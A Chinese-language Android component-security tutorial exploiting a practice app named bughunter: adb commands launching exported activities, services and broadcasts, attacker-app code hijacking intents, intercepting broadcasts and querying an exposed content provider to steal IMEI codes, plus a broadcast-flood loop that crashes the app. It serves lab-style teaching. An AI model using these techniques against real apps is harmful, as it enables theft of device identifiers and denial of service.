Android安全之组件安全

Android 安全之组件安全

1. 暴露Activity组件

漏洞利用的目的:

通过当前已经暴露的组件跳转访问到私有组件界面。

漏洞利用过程:

根据反编译可以看出,触发通过的条件是传入值为1的int变量key和值为“hello”的String变量value。

1
2
3
4
5
6
7
8
9
10
11
12
private void a() {
Intent intent = getIntent();
if (intent != null) {
int i = intent.getIntExtra("key", 0);
String str = intent.getStringExtra("value");
if (i == 1 && "hello".equals(str))
dosomething();
}
}
private void dosomething() {
startActivity(new Intent((Context)this, NoExportActivity.class));
}

由此,利用adb命令访问activity组件:

1
adb shell am start -n com.example.bughunter/com.example.bughunter.ComponentSecurity.ExportActivity --ei key 1 -e value "hello"

利用start访问activity组件,其中“-n”后面是“包名/类名”,“–ei”表示传入int类型值,“-e”表示传入String值。由此,即可进入私有隐藏界面。

1

2. 暴露Service组件

漏洞利用的目的:

成功访问暴露的Service。

漏洞利用过程:

根据反编译可以看出,触发通过的条件是传入值action为”exportService”。

1
2
3
4
5
6
7
8
9
10
11
12
public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2) {
try {
if (paramIntent.getAction().equals("exportService")) {
Toast.makeText((Context)this, ", 0).show();
} else {
Toast.makeText((Context)this, ", 0).show();
}
} catch (Exception exception) {
Toast.makeText((Context)this, ", 0).show();
}
return super.onStartCommand(paramIntent, paramInt1, paramInt2);
}

由此,利用adb命令访问service组件:

1
adb shell am startservice -n com.example.bughunter/com.example.bughunter.ComponentSecurity.ExportService -a "exportService"

利用startservice访问service组件,其中“-n”后面是“包名/类名”,“-a”表示传入的action。由此,即可成功运行暴露的Service。

2

3. 暴露Broadcast组件

漏洞利用的目的:

访问暴露的广播组件。通过传参访问广播组件并发送自定义内容的广播。

漏洞利用过程:

根据反编译可以看出,触发通过的条件是传入值action为”broadcast”。传入标题为“title”,传入内容为“content”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void sendNotification(String paramString1, String paramString2, Context paramContext) {
if (Build.VERSION.SDK_INT >= 26)
createNotificationChannel("channelId", ", 4);
NotificationCompat.Builder builder = new NotificationCompat.Builder(paramContext, "channelId");
builder.setSmallIcon(2131361792);
builder.setContentTitle(paramString1);
builder.setContentText(paramString2);
Notification notification = builder.build();
this.mManager.notify(1, notification);
Toast.makeText(paramContext, ", 0).show();
}
public void onReceive(Context paramContext, Intent paramIntent) {
if ("broadcast".equals(paramIntent.getAction())) {
this.mManager = (NotificationManager)paramContext.getSystemService("notification");
try {
sendNotification(paramIntent.getStringExtra("title"), paramIntent.getStringExtra("content"), paramContext);
} catch (Exception exception) {}
} else {
Toast.makeText((Context)exception, ", 0).show();
}
}

由此,利用adb命令访问broadcast组件:

1
adb shell am broadcast -n com.example.bughunter/com.example.bughunter.ComponentSecurity.ExportReceiver -a "broadcast" -e "title" "Success" -e "content" "Successfully_delivered!"

利用broadcast访问broadcast组件,其中“-n”后面是“包名/类名”,“-a”表示传入的action“broadcast”,“-e”后的“title”和“content”表示自定义的下拉内容。由此,即可成功通过传参访问广播组件并发送自定义内容的广播。

3

4. 组件劫持

漏洞利用的目的:

劫持带有个人数据(此处为IMEI码)私有组件,获取个人数据。

漏洞利用过程:

根据反编译可以看出,私有组件启动intent的方式是以指定action的方式,action为“hijack”。

1
2
3
4
5
6
private void a() {
String str = GetInformation.getImei((Context)this);
Intent intent = new Intent("hijack");
intent.putExtra("imei", str);
startActivity(intent);
}

由此,编写了一个APK,声明同样名字的action的暴露组件。当点击运行带参跳转的私有组件时,即可触发同样名字action的暴露组件,获得私有隐私数据IMEI码。

APK编写的过程是:

  • 设置intent-filter使得action为“hijack”的intent可以通过过滤。
1
2
3
4
5
6
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="hijack" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
  • 创建筛选出符合过滤器要求的intent的函数isActionSupport。当筛选符合过滤器要求的intent以后,获取intent,选择action为“hijack”的intent,获取名叫“imei”的String,利用Toast弹出“imei”的值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void onStart() {
super.onStart();
hijackSetting(this);
}
private void hijackSetting(Context context){
if(isActionSupport(context,"hijack")) {
Intent intent2=getIntent();
if(Objects.equals(intent2.getAction(), "hijack")) {
String msg = intent2.getStringExtra("imei");
Toast.makeText(this, msg, Toast.LENGTH_LONG).show();
}
}
}
private boolean isActionSupport(Context context, String action){
final PackageManager packageManager = context.getPackageManager();
final Intent intent = new Intent(action);
List<ResolveInfo> resolveInfo =
packageManager.queryIntentActivities(intent,
PackageManager.MATCH_DEFAULT_ONLY);
return resolveInfo.size() > 0;
}
4

5. 动态注册广播

漏洞利用的目的:

当前组件发送一个动态广播,对此实现获取个人数据、使组件崩溃和日志泄露。

漏洞利用过程:

根据反编译可以看出,组件发送广播和接收广播的过程,其中传递的私有数据为“imei”,action为“broadcast”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private void initView() {
this.b1 = (Button)findViewById(2131165238);
this.b1.setOnClickListener(new View.OnClickListener() {
public void onClick(View param1View) {
String str = GetInformation.getImei((Context)DynamicBroadcastActivity.this);
Intent intent = new Intent("broadcast");
intent.putExtra("imei", str);
DynamicBroadcastActivity.this.sendBroadcast(intent);
}
});
this.t1 = (TextView)findViewById(2131165380);
this.t1.setOnClickListener(new View.OnClickListener() {
public void onClick(View param1View) {
DynamicBroadcastActivity.this.t1.setText(2131427375);
}
});
}

public class MyBroadcast extends BroadcastReceiver {
public void onReceive(Context param1Context, Intent param1Intent) {
Toast.makeText((Context)DynamicBroadcastActivity.this, ", 0).show();
Log.i("bughunter", param1Intent.getStringExtra("imei"));
}
}

创建通过接收广播获取私有数据的函数并执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class MyBroadcast extends BroadcastReceiver {
@SuppressLint({"WrongConstant", "ShowToast"})
public void onReceive(Context param1Context, Intent param1Intent) {
Toast.makeText(MainActivity.this, "get it", 0).show();
Log.i("bughunter", Objects.requireNonNull(param1Intent.getStringExtra("imei")));
}
}
private void registBroad() {
registerReceiver(new MyBroadcast(), new IntentFilter("broadcast"));
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
registBroad();
//send_null();
}

点击bug hunter的发送广播按钮,即可收到私有数据“imei”码。

5

创建发送空数据广播的函数send_null如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
private void send_null() {
while(true){
Intent intent = new Intent("broadcast");
MainActivity.this.sendBroadcast(intent);
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//registBroad();
send_null();
}

由于bug hunter一直保持接收广播的状态,一运行发送空广播的函数,即可看到bug hunter停止运行crash。

6

由于未注销广播可以导致intent泄露,反复打开当前界面,利用adb的logcat命令

1
adb logcat | grep -E *leak* > 2.txt

可以获取当前的含有leak的泄露日志,如下图所示。

7

6. Provider组件暴露

漏洞利用的目的:

获取当前组件写入暴露provider组件的个人数据。

漏洞利用过程:

根据反编译可以看出,provider处理的query操作。

1
2
3
4
5
6
7
8
9
public Cursor query(Uri paramUri, String[] paramArrayOfString1, String paramString1, String[] paramArrayOfString2, String paramString2) {
SQLiteDatabase sQLiteDatabase = this.myDbHelper.getReadableDatabase();
if (MATCHER.match(paramUri) == 1)
return sQLiteDatabase.query("info", paramArrayOfString1, paramString1, paramArrayOfString2, null, null, paramString2);
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("Unkwon Uri:");
stringBuilder.append(paramUri.toString());
throw new IllegalArgumentException(stringBuilder.toString());
}

又根据反编译的代码获得URI和目录。

1
MATCHER.addURI("com.example.bughunter.ComponentSecurity.ExportProvider", "info", 1);

由此编写获取数据库个人数据的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
while(true){
get_Imei();
}
}

private void get_Imei() {
ContentResolver contentResolver = getContentResolver();
Cursor cursor = contentResolver.query(Uri.parse("content://com.example.bughunter.ComponentSecurity.ExportProvider/info"),
new String[]{"imei"}, null, null, null);
if (cursor != null) {
while(cursor.moveToNext()){
String a = cursor.getString(0);
System.out.println("imei="+a);
}
}
}
}

运行代码,即可在系统输出中看到“imei”。

8

7. 附加知识

  • 查询手机imei码的方法,拨号输入*#06#,即可看到本机imei码。
9
0%